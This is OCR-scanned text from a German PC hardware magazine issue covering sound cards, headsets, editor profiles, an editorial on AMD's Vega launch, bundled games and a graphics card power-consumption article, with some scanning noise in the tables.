Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 аЛа Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni |Ca.60,- | Bis 5.1/24 Bit bei 96 KHz С54361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, ТРЅ6130А2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 

Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 

Steelseries Siberia 800 Ca. 240,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 

Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 | 07/2016 | www.pcgh.de/preis/1631481 

Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 

Sennheiser GSP 350 Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 03/2017 | www.pcgh.de/preis/1 543799 ТҮҮ 
Logitech 6533 Wireless Ca. 100,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 

Lioncast LX 50 Ca. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1 560427 (A 
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SERVICE | Teamseite 


Die Redaktion 


ЕЕ ЕИ BAYER 


RAFFAE TER 


Chefredakteur ЕЕ ЕИ tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Der brüllende Referenzkühler meiner Titan-X-ohne-p wich einem 
Accelero Hybrid 111-140 plus zusätzlicher Kühlerchen für die Vorderseite. Nun 
bleibt die Kiste selbst mit 300 Watt TDP und 2,0/5,5 GHz leise unter 60 °C =D 


PC aktuell: Ich habe entdeckt, dass mein aktuelles Lieblingsspiel Battle 
Brothers leidlich gut auf meinem Notebook läuft. Das ist insofern genial, weil 
ich dann im Sommer nicht auf den heißen Dachboden spielen muss, wo der 
Spiele-PC steht :-) 


(Spiele-) Sound tönt bei mir aus ... einem Teufel Concept E Digital — 
wegen der integrierten USB-Tonerzeugung erstmals seit dem Jahr 2000 ohne 
Soundkarte. Das geht, allerdings vermisse ich unter anderem den Crystalizer. 


(Spiele-) Sound tönt bei mir aus ... meinem Headset — meist bleiben die 
Lautsprecher aus, weil es irgendeinen anderen i im Haus stören würde. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
7170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


Privat-PC: AMD Ryzen 1700 (3,0 GHz, 0,94V), Asus Crosshair VI Hero, 2 x 8 
GiB DDR4-3200, Nvidia Titan X OC + Arctic Hybrid III-140, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Nach dem Umzug steht erst einmal der Kauf eines neuen Routers 
an. Welches Modell? Gute Frage. 


ANDREAS LINK 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Schon mal versucht, auf einem Tablet mit 32 Gigabyte Festspei- 
cher (davon 5 frei) das Creators Update für Windows 10 zu machen? Nein? 
Seien Sie froh! Eine Nacht auf dem Nagelkissen ist vermutlich angenehmer. 


(Spiele-) Sound tónt bei mir aus ... meinen AKG K612 Pro mit ange- 
papptem Antlion-Mikrofon. Ist klangtechnisch besser als die meisten echten" 
Headsets und trágt sich bequemer. Gefühlt einmal alle drei Jahre darf auch die 
Stereo-Anlage mal den Spiele-Sound wiedergeben. 


(Spiele-) Sound tónt bei mir aus ... den integrierten Boxen des Monitors, 
was oft ausreichend ist. Außerdem gibt es noch die Sennheiser HD595, für 
besseren Sound und die ATH-M50xB auf dem ewigen Wunschzettel. 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra II 960 GB 


MANUEL Eier] 


Redakteur Eier] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Oft spiele ich einfach nur Supreme Commander, damit mein 
Notebook nicht so laut ist. Aber hat Nvidia nicht Max-Q angekündigt? 


PC aktuell: Hat gerade einen nötigen Frühjahrsputz hinter sich und freut sich 
auf hammerharte Gefechte im Dschungel von Rising Storm 2: Vietnam. 


(Spiele-) Sound tönt bei mir aus ... Lautsprechern! Tja, wer hätte es 
gedacht. Ohne Bla: Mein Notebook spuckt mit kleinem Subwoofer brauchbare 
Töne. Da hat sich ja einiges getan. Vor mehrere Jahren hatten ja noch selbst 
High-End-Notebooks nur Telefonhörerqualität. 


(Spiele-) Sound tönt bei mir aus ... meist aus Kopfhörern, die ich je 
nach aktueller Vorliebe wechsle. Zumeist sorgt ein Philips Fidelio X1 für 
fetten Spiele-Sound. Außerdem dröhnt momentan häufig Musik aus meinen 
Selbstbau-Boxen, der 60-Liter-/12-Zoll-Subwoofer ärgert dazu die Nachbarn. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


PC aktuell: Nachdem ich Version 1 verpasst habe, bin ich nun bei der 
Anschubfinanzierung von Dan Cases' A4-SFX v2 mit dabei. Ab Januar 2018 
baue ich dann meinen Mini von 11 auf rund 7 Liter Volumen um. 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und Gehäuse 


PC aktuell: Die ersten Sommertage waren schon sehr warm und es kommen 
bestimmt noch viele warme Tage. Da macht man sich natürlich wieder Gedan- 
ken über die Kühlung der Hardware, speziell bei meinem Spiele-Mini. 


(Spiele-) Sound tönt bei mir aus ... dem ziemlich alten und plastikmäßi- 
gen Sony Kopfhórer MDR-CD370, der sich beharrlich weigert, kaputtzugehen. 
Zur Raumbeschallung steht noch ein àlteres, analoges Teufel Concept E bereit. 


(Spiele-) Sound tönt bei mir aus ... aus Stereo-Lautsprechern (M Audio 
AV 40). Damit habe ich zwar keinen Raumklang beim Fahren auf der Nord- 
schleife, dafür aber ein sehr tiefes, realistisches Motoren- und Auspuffgeräusch. 


Privat-PC: i7-5775C (UV @ 3,6 GHz), 16 GiB DDR3-1866-RAM, NVME-SSD 
(128 GB), RX 480 (4+4G), 120Hz-LCD (24"), Mini-ITX-Gehäuse (11 Liter Vol.) 


Ig I ETC VOGEL ALEXANDROS BIKOULIS 
Redakteur Ig I ETC tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware Volontär | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


PC aktuell: Der „mal gucken" -Heft-Vollversions-Stapel schrumpft; Omerta PC aktuell: Mit neuer Tastatur, der Corsair K70 RGB Crossfire. Geiles Teil, aber 
(etwas flach), Rayman: Origins (ok) & Alan Wake (WTF!?) sind durchgespielt. ich verstehe den Nutzen der Christbaumbeleuchtung nicht. 

(Spiele-) Sound tönt bei mir aus ... einem alten Creative S700 (eigent- (Spiele-) Sound tönt bei mir aus ... TV-Boxen, einem Logitech 2523 und 
lich ein $750, aber es fehlen zwei Satelliten und die Soundblaster Z kann dem Sennheiser GSP-350. Die TV-Boxen sind eher was für ruhige Abende, das 
eh nur 5.1), denn neue Surround-Systeme mit ausgeglichenem Klang sind 2523 erlaubt mir mit Wumms (ja wirklich!) die Nachbarn zu árgern und wenn 
genauso selten wie Win-7-Soundkarten mit passender Software (225 R.1.P.). es taktisch werden soll, kommt das GSP mit 7.1 Dolby-Surround zum Einsatz. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
@ 1.245/3.800 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


Privat-PC: Intel Core i5-3450, 8 GiByte DDR-RAM, XFX Radeon RX 470 RS 
Black Edition, P8B75-MLX (uATX) 


DANIEL WAADT STEPHAN WILKE 

Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 
PC aktuell: Um als (vom Duke-Nukem-Sprecher Jon St. John vertonten) Polizei- 
chef in „This Is The Police" für das Wohlergehen der Stadt und meines Bankkon- 
tos zu sorgen, lasse ich Waffen auf dem Schwarzmarkt verkaufen, Feministen- 
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850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS b 
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Logbuch #203: Vega — Grenzüber- 
schreitungen beim Marketing 


Vega - Grenzüberschreitungen beim Marketing: In dieser Ausgabe finden Sie einen umfassenden 


Test von AMDs Next-Gen-GPU Vega. Ganz wichtig dabei: Es handelt sich hier nicht um eine : facebook 
„normale“ Desktop-Grafikkarte, die wir sonst eigentlich immer testen. Die wird Radeon RX : 
CS Vega heifsen und voraussichtlich im August in mehreren Varianten erscheinen. Wir testen in : PCGH-Fan werden auf: 
f е) = der PCGH 09 die Vega Frontier Edition im Detail, eine „Prosumer“-Karte, ähnlich der Titan Xp, : 
> die auch, aber nicht nur für Spiele gedacht ist. Wie und warum wir die Karte testen, erfahren 
E Sie auf Seite 30. Was Sie aber nicht erfahren und vermutlich auch nie erfahren werden, ist, wa- 
m rum AMD den Launch der neuen GPU-Generation so kurios aufgezogen hat. Keine Samples an 
die Presse, dafür „unkontrollierte“ Tests durch User und die US-Presse, welche die Vega Frontier 
e Edition einfach gekauft haben: Ich kann mich nicht erinnern, wann ein derart wichtiger GPU- 
EE Launch so amateurhaft abgelaufen ist. Zumal AMD auch keinen Versuch unternommen hat, 


die Unterschiede zwischen der Vega-Gaming-Radeon und der Frontier Edition zu erläutern, 
um den recht negativen Ersteindrücken etwas entgegenzusetzen. Stattdessen veranstaltete man 
Community-Events, wo man eine Vega (welche, weiß man nicht) mit einer GTX 1080 verglich. 
Auch das erweckt auf den ersten Blick nicht gerade den Eindruck, Vega könnte auch mit einer GTX 1080 Ti konkurrieren, 
die janoch mal rund 20 Prozent schneller als eine 1080 ohne Ti ist. i === 
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Es sei denn (und jetzt wird es spekulativ!), AMD stapelt absichtlich tief, wie manche Medien vermuten. Doch ist das wirk- 
lich realistisch? Geht AMD wirklich mit voller Absicht das Risiko ein, die Marke Vega bei Spielern erst zu „verbrennen“, 
um dann einen Monat spáter mit einer Gaming-Radeon alles besser zu machen? Eine Hoffnung gibt es: Es ist durchaus 
wahrscheinlich, dass AMD die Vega Frontier Edition deshalb vor der RX Vega veróffentlicht hat, um die óffentliche Aus- 
sage halten zu kónnen, noch im zweiten Quartal (also bis Ende Juni) Vega auszuliefern. Immerhin ist AMD bórsenno- 
tiert, eine Verschiebung hätte bekannt gegeben werden müssen und sicher für negative Kursauswirkungen gesorgt. Und 
Treiber für die Gaming-Vega sind sicherlich aufwendiger als die für die Produktiv-Vega. Durch den kuriosen Release der 
Frontier Edition hat sich AMD auf jeden Fall Zeit für die RX Vega erkauft - und diese Zeit hoffentlich auch gut genutzt. 
Mehr wissen wir vermutlich bereits am 30. Juli, denn dann soll laut Planung die RX Vega im Detail vorgestellt werden. 


Viel Spaß mit der Ausgabe Nummer 203 wünscht Ihr 
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Jp PCGH-Retrospektive 04/2009 


Specials 
3» Begleitmaterial zu Kühler-Anpresskraft Teil 2 


PCGH Retrospektive 04/2009: 
Tool 
ооз HN „Conficker” und ,Boot.com": Gefährli- 
® GPU-Z 2.2.0, MSI Afterburner 4.4.0 Beta 12, che Malware geht um, 3D-Vision geht an 


den Start — und lustige Anzeigentexte. 


Nvidia Inspector 1.9.7.8, PCGH-VGA-Tool 1.0.1, Radeon Pro 
1.1.1.0, Sapphire Trixx 6.4.0 


z А Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 
> AS SSD Benchmark 1.9. 3986, Cinebench R1 5, Fraps 3. 2.99, (Name, StraBe, PLZ, Wohnort) und der Ausgabennummer 09/2017 unter dem 
Prime 95 29.1 0, Super Pi 1.9 Betreff „PC Games Hardware: DVD-Reklamation” an computec@dpv.de. 


® Core Temp 1.7, CPU-Z 1.80, HD-Tune 2.55 und 5.60 Trial, 
Speedfan 4.52, Sysinternals Suite (06/2017) 


12017: Umfrage 


Liebe POGH-Leser, 
Welche Artikel der PC Games Hardware 01/2017 haben Ihnen besonders gut gefallen? Wir wollen es genauer wissen. In den 
Kommentaren konnen natürlch auch gerne егКагеп, warum Ihnen die jeweiligen Artkel gefallen haben - oder auch nicht 

Die Umfrage ul anonym, es werden keine personenbezogenen Daten daserthaft gespeichert. Alle Angaben werden nach 
Auswertung der Umfrage geloscht 


N Wie fanden Sie die folgenden Artkel/CVD-Inhait? 

Feedback im PCGH-Forum unir mulu —— er nan nm 
Bee 

Im Online-Forum von PC Games Hardware können Sie uns bequem Rückmeldung geben, welche | sans «canc © 

Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und | =: sm m ° 

ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH run oem © 

besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser | 777. 

Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback | «»: ы 
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Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 


Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlósen. 


Vollversion: Trials Fusion 


Solide Motocross-Physik und nicht alltägliche Rennstre- 
cken vermischen sich hier zu einem unvergleichlichen 
Rennerlebnis, wie es so kein anderes Spiel bietet. Zeigen 
Sie mit dem brandneuen FMX-Tricksystem Ihre furcht- 
lose Seite und wählen Sie Ihren Pfad zum Sieg auf sich 
verzweigenden Strecken. Die Ziellinie ist die ultimative 
Bestimmung, aber die Herausforderung besteht in allem 
anderen davor. 


Geben Sie Ihr Bestes, um auf den hindernis- und rampen- 
übersäten Pisten neue Streckenrekorde gegen die besten 
Trials-Spieler der Welt zu halten. Egal ob Sie allein, mit 
Freunden oder in einem weltweiten Wettkampf fahren: 
Der Wettbewerb lauert überall. Das Rennen auf den offiziellen Strecken ist nur der 
Anfang. Eine Spielumgebung mit Strecken, die von den kreativsten und talentiertesten 
Schöpfern der Welt erstellt wurden, erwarten jene, die stetig nach neuen, verrückten 
Herausforderungen suchen, die es zu bezwingen gilt. 


Installation: 

Trials Fusion setzt ein kostenloses Uplay-Konto und eine Internetverbindung voraus. 
Am Ende der Setup-Routine wird Uplay Installiert. Stimmen Sie beim ersten Pro- 
grammstart der Verknüpfung mit Ihrem Uplay-Konto zu und klicken Sie im aufplop- 
penden Fenster auf „jetzt aktivieren” — dort geben Sie den zuvor via www.pcgh.de/ 
codes umgewandelten Installationsschlüssel ein. Um die volle Optionsvielfalt etwa bei 
den Grafikeinstellungen sowie Zugriff auf die Community-Inhalte und den Mehrspieler- 
modus zu erhalten, müssen Sie das Spiel zunächst patchen lassen, was leider rund 5,7 
GByte Downloadvolumen beinhaltet, und sich natürlich in Uplays Online-Modus befin- 


den — ansonsten ist nur der einfache Karrieremodus verfügbar. Alternativ können Sie 
auch den eingelösten Installationsschlüssel direkt in einem laufenden Uplay aktivieren, 
was insgesamt die einfachere Option ist. Geben Sie keinen Key an (was auch möglich 
ist), startet Trials Fusion nach dem Patchen in einem eingeschränkten Demo-Modus — 
die im Spiel angebotene Option, die Vollversion freizuschalten, funktioniert leider nicht. 
Geben Sie stattdessen den Installationsschlüssel direkt über Uplay ein. 


Minimale Systemvoraussetzungen: Windows Vista SP2 oder neuer (Direct X 
11), Core i3-550/Athlon Il X4 620, 3 GiB RAM, Geforce GTX 460/Radeon HD 5850 (1 
GiB RAM), 8 GiB HDD-Platz 

Darüber hinaus empfohlene Systemkonfiguration: Vierkern-CPU ab 2,5 
GHz (Core i5-2400s/Phenom II X4 955), 4 GiB RAM, GF GTX 580/Radeon HD 7950 


I Zum Schreien komische Dialoge 

I Etliche knifflige Rätsel in fünf spekatulären Kapiteln 

I Eine wundervolle, wohlige Atmosphäre 

I Zeichentrickreife Animationen und Zwischen- 

sequenzen 

I Eine handgemachte und mit viel Liebe gezeichnete 

Welt, in der es unzählbar viele Details zu entdecken 

gibt (mindestens 325!) 

I Ein Hilfesystem mit patentierter Mehrstufigkeit 
inklusive optionaler Hotspots-Anzeige — so kann das 
Abenteuer wirklich von jedermann gelöst werden. 

I Der epischste Soundtrack seit der Entstehung Aspo- 
siens sowie englische und deutsche Sprachausgabe, 
die ihresgleichen sucht, und das auch noch völlig 
lippensynchron 

I Augenverwöhnende Hintergründe in nicht-stereoskopischem Handmade-2D (!) — 
entgegen aller aktuellen Grafik-Trends 

I Eine Geschichte mit mehr Windungen als jede Asposernase 

I Und natürlich Robert; die allerallerALLERletzte Hoffnung Asposiens 


The Inner World ist ein liebevoll handgezeichnetes Point&Click-Adventure ganz im klas- 
sischen Stil. Für das vor Charme sprühende Abenteuer wurde das Newcomer-Entwickler- 
team Studio Fizbin bereits für den deutschen Computerspielpreis 2012 nominiert. Zur 
Story: Im Land Asposien ist das beschauliche Leben vorbei, als ein Windbrunnen nach 
dem anderen seinen Dienst versagt und dann auch noch die Windgótter dieses eigent- 


lich so friedliche Land heimsuchen. Und wer soll dieses Rätsel lösen? Ausgerechnet der 
blauäugige Hofmusiker Robert! Samt der mysteriösen Diebin Laura und mit den besten 
Absichten und keinem blassen Schimmer macht er sich auf, das Geheimnis um das 
Verschwinden des Windes zu lüften. 


Minimale Systemvoraussetzungen: 

Windows XP oder hóher, CPU mit 2,33 GHz, 2 GiB RAM, Direct-X-9-kompatible 
Grafikkarte mit 256 MiB Grafikspeicher 

Darüber hinaus empfohlene Systemkonfiguration: 

4 GiByte RAM, 512 MiByte Grafikspeicher 


Kein Code 
erforderlich! 


үг, 
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x Bonus-Vollversion: Sudden Strike 2 Gold 


Übernehmen Sie auf dem Höhepunkt des Zweiten Welt- 
kriegs das Kommando über das Militär der USA, von Rus- 
sland, Großbritannien oder den Achsenmächten Deutsch- 
land und Japan und lenken Sie deren Geschicke auf den 
Schlachtfeldern rund um den Globus. 


DVD-plus-Highlights | SERVICE 


Nur als Code in der 
DVD-plus-Version, nicht 
auf dem Datenträger! 


von der Karte (S. 66/67) eingeben und ihn dort umwandeln lassen. Sudden-Strike- 
Fans, aufgepasst: In der kommenden PCGH 10/2017 gibt es „551° als Key-only- 
Vollversion, in PCGH 12(1/2017 folgt „SS3” (ebenfalls Key-only). 


Minimale Systemvoraussetzungen: Windows XP oder neuer, 2 GHz-Dual- 


core-CPU, 1 GiB RAM, DX9-Grafikkarte mit 256 MiB Speicher, 460 GiByte HDD-Platz 
Sudden Strike 2 Gold ist eine Neuveröffentlichung eines 
klassischen, sprich älteren PC-Spieles. Es wurde zwar 
auf einer Reihe moderner Windows-PC-Konfigurationen 
getestet, unerwünschte Artefakte, etwa bei Grafik und 
Sound, oder sogar Abstürze können dennoch auftreten. 
In solchen Fällen sind die Foren wie Steam-Community 
die beste Anlaufstelle für Unterstützung und Hilfe. Sollte 
das Spiel auf UHD-Displays nicht starten, verringern Sie temporär die Desktop-Auf- 
lösung etwa auf Full HD — ebenfalls ratsam: Eine 4:3 Auflösung mit zentrierter Darstel- 
lung, denn auf 16:9-Displays wird Sudden Strike 2 mit den unterstützen Auflösungen 
1.024 x 768 und 640 x 480 sonst arg in die Breite gezogen. 


I Enthält Sudden Strike 2, „Resource War" (Add-on) und „Total Victory" (Map-Pack) 

1 Befehligen Sie Ihre Streitkräfte von individuellen Fahrzeugbesatzungen bis hin zu 
riesigen Schlachtschiffen in fünf epischen Kampagnen 

V Ein Editor für selbst erstellte Karten und Missionen ist ebenfalls im Paket. 


Bitte beachten Sie, dass sich unsere Bonus-Vollversion nicht auf dem Datenträger be- 
findet, sondern rein über Steam angeboten wird. Den Steam-Key erhalten Sie, indem 
Sie auf www.pcgh.de/codes nach Auswahl des Spiels den Code für Sudden Strike 2 


PURE POWER 10 == == d 


Die neue Generation der erfolgreichsten Netzteilserie von be quiet!. Das = — ⁄ > 
Pure Power 10 bietet die bestmögliche Kombination von Ausstattung, Leistung S ; d 
und Qualität zu einem äußerst attraktiven Preis. Die neuen Modelle mit > e 
DC/DC-Technologie sorgen für eine starke Spannungsregulierung, sogar bei 
heftigen Cross-Loads. 

= Zwei starke 12V-Leitungen und Multi-GPU Unterstützung ә 
2 Active Clamp + SR Technologie für stabilen Betrieb (700-400W) 
= Außerordentlich leiser Betrieb 

= 80PLUS® Silber und Bronze Effizienz (von bis zu 91%) 

= Modular und non modular: 700 - 300W 


Weitere Informationen auf bequiet.com 


GERMANY’S NO. 1 


Erhältlich bei: alternate.de - arlt.de - bora-computer.de - caseking.de | PSU MANUFACTURER @ 
computeruniverse.net - conrad.de - hiq24.de - e-tec.at - galaxus.ch \ € 
mindfactory.de - notebooksbilliger.de - reichelt.de *GfK Panelmarkt, 2007-2017 
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Leistungsaufnahme 


Welche Grafikkarte benötigt wie viel Energie? Aus welchen Rails fließt der meiste Strom? Und wie 


kommt es eigentlich zu Spulenfiepen? Das und mehr erfahren Sie in diesem Artikel. 


ie Außentemperatur und 

Energiepreise haben ein Re- 
kordniveau erreicht. Der Stromver- 
brauch einer Grafikkarte ist somit 
nicht nur ein Kostenfaktor, son- 
dern beeinflusst auch die Wärme 
in der Wohnung sowie die Lautheit 
des Kühlsystems. In diesem Artikel 
werfen wir einen Blick auf den Ver- 
brauch von 220 Grafikkarten der 
Jahrgänge 2011 bis 2017. Erstmals 
veröffentlichen wir das Resultat 
aller Messungen sowie die Gesamt- 
leistungsaufnahme der Grafikkarte 
und zeigen auch, welche Ströme 
über welche Versorgungsleitungen 
fließen. 
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Die Leistungsaufnahme von Gra- 
fikkarten misst PC Games Hard- 
ware seit etlichen Jahren mithilfe 
eines PCI-Express-Extenders sowie 
Amperezangen. Diese Messungen 
erfolgen isoliert, geben ergo nur 
die Leistungsaufnahme der Grafik- 
karte wieder, ohne vom restlichen 
System beeinflusst zu werden. Da- 
bei achten wir auf ein vollständiges 
Grafiklimit, die GPUs können ihre 
Leistung(saufnahme) frei entfalten 
und offenbaren so in natürlicher 
Umgebung die höchste zu erwar- 
tende Last für Kühler und Strom- 
versorgung. 


Noch kristallisiert sich 
Anno 2070 als eines der powerin- 
tensivsten PC-Spiele heraus, wes- 
halb es uns seit Jahren als Watt- 


Worst-Case dient. 


immer 


Bisher unseren internen Testta- 
bellen vorbehalten, aber stets in 
der Gesamtleistungsaufnahme ver- 
rechnet sind die Angaben der Stró- 
me und Spannungen der einzelnen 
Vorsorgungsschienen (Rails). Die- 
se greifen wir im laufenden Betrieb 
mittels Ampere-Zange und Multi- 
meter ab und errechnen daraus 
die Leistung in Watt. Dieser Artikel 
zeigt jede Einzelmessung von 220 


auserwählten Grafikkarten. Aus 
Platzgründen drucken wir „nur“ 
die Messwerte aus Anno 2070 ab, 
Crysis 3 und das PCGH VGA-Tool 
würden den Rahmen sprengen. 


Die Energieversorgung einer Gra- 
fikkarte erfolgt durch zwei Quel- 
len: Den PEG-Slot und - im Falle 
potenter Grafikkarten - zusätzli- 
che Strombuchsen; beachten Sie 
dazu die folgende Seite. Die Werte 
in den folgenden Mega-Tabellen 
sind nach der Gesamtleistungsauf- 
nahme in absteigender Reihenfol- 
ge (391 bis 33 Watt) sortiert. Die 
Auswertung folgt im Anschluss. 
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Am Ende steht die Leistung in Watt. Selten beachtet, aber wichtig ist, welche Ströme aus welchen Versorgungsleitungen (Rails) kommen. Dafür gibt es 
eindeutige Spezifikationen, welche in den meisten Fällen beachtet werden - aber nicht immer. Ein Leitfaden. 


Versorgung durch Strombuchse В Versorgung über PEG-Slot 


PEG-Spezifikation: Ströme 


Top 10: Grafikkarten mit hoher PEG-Last (PCGH-Messungen) 


75-Watt-Slot 
3 Ampere maximal 


Power Rail Grafikkarte 
+3,3V +9 % 


+12V +8 96 


PEG 12-Volt-Leitung 
Strom 
6,50 A 
6,25 A 
5,80 A 
5,80 A 
5,73 A 
5,70A 
5,70A 


PEG 3,3-Volt-Leitung 
Strom 
1,25 A 
1,47A 
0,60 A 
0,60 A 
0,48 A 
0,85 A 
1,25 A 


Spannung 
‚67V 
11,85 V 
,81V 
11,81V 
,83V 
11,81V 
,I5N 


Leistung 
75,86 W 
74,06 W 
68,50 W 
68,50 W 
67,79 W 
67,32 W 
66,98 W 


Spannung 
3,29 V 
3,27 V 
3,30 V 
3,30 V 
3,27V 
320 W 
3,27V 


Leistung 
411W 
481W 
,98 W 
,98 W 
‚57\\ 
2,78 W 
4,09 W 


5,5 Ampere maximal AMD RX 480 (Referenzdesign) 
MSI R9 270 Gaming 2G 

XFX R7 370 DD Black Ed. 2GB 
XFX R7 370 DD 4GB 

Gainward GTX 750 Ti GS 

Zotac GTX 980 Ti AMP Extreme 


Powercolor RX 580 Red Devil GS 


Alle PC-Komponenten werden im Rahmen gängiger 
Standards spezifiziert. Diese gewährleisten Kompatibili- 
ät und Zuverlässigkeit, sind jedoch nicht bindend - die 
Komponentenhersteller müssen sich folglich nicht an die 
ormen halten. 


Die PCI-Express-Spezifikation, welche vom Standardi- 
sierungsgremium PCI SIG (Special Interest Group) fest- 
gelegt wird, ist das prominenteste Beispiel für eine oft 
überfahrene Richtlinie. Im Kontext Grafikkarte wichtig 
ist die Spezifikation des PEG-Slots, dem „PCI-Express for 
Graphics”, für den genau festgelegt ist, welche Ströme 
auf welcher Spannungsleitung maximal fließen dürfen: 
Für die x16-Slots gelten auf der 12-Volt-Schiene seit 
Jahren 5,5 Ampere als Obergrenze. Liefert das Netzteil 
bei dieser Stromstärke tatsächlich genau 12 Volt, ergibt 
sich daraus eine Leistung von 66 Watt. In der Praxis fällt 
die Spannung unter Last immer minimal ab und auch 
dafür gibt es einen Spezifikationsrahmen, nämlich +8 
Prozent. Daneben gibt es eine zweite Versorgungsleitung 
über den PEG, die 3,3-Volt-Schiene. Spezifikationsgemäß 
dürfen hier maximal drei Ampere fließen, sodass sich eine 
verhältnismäßig geringe Leistung ergibt. Die gute Nachricht 
lautet: PCGH-Messungen von beinahe 400 Grafikkarten der 
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Palit GTX 750 Ti Storm X Dual 


5,70A 


11,83 V 


67,43W 


0,55 A 


3,27 V 


‚go W 


Gigabyte RX 580 Aorus XTR 


5,60 A 


11,76 V 


65,86 W 


120A 


3,27 V 


3,92 W 


Powercolor RX 570 Red Devil 


5,50 A 


11,77V 


64,74W 


1,110A 


ST W 


3,60 W 


В Innerhalb der Spezifikation 


vergangenen Jahre haben ergeben, dass hier jedes einzelne 
Modell im Rahmen der Spezifikation bleibt. Anders sieht 
das bei der 12-Volt-PEG-Leitung aus. Vor einem Jahr 
verursachte AMD einen kleinen Skandal mit dem Refe- 
renzdesign der Radeon RX 480, welches dort bis zu 6,7 
Ampere abruft. Was zunächst marginal klingt, entspricht 
einer Abweichung von rund 22 Prozent. Brennende 
Hauptplatinen waren und sind nicht zu befürchten, aber 
Instabilität und Audio-Interferenzen. Wir haben unser 
reichhaltiges Archiv an Messwerten chronologisch nach 
der PEG-Last (12-Volt-Rail) sortiert und die obige Tabelle 
erstellt. Die RX 480 (Referenzkarte) steht nach wie vor 


Knapp außerhalb der Spezifikation 


Deutlich über der Spezifikation 


an oberster Stelle, doch einige andere Grafikkarten 
operieren ebenfalls leicht oberhalb der Spezifikation. 


Wie eine Grafikkarte die Ströme an ihre Verbraucher 
verteilt, bleibt dem Hersteller überlassen. Auch hier 
dient das Beispiel Radeon RX 480 (Grafik oben): Drei 
der sechs Wandlerphasen speisen die GPU über den 
PEG, die drei Kollegen zapfen die 6-Pol-Versorgungs- 
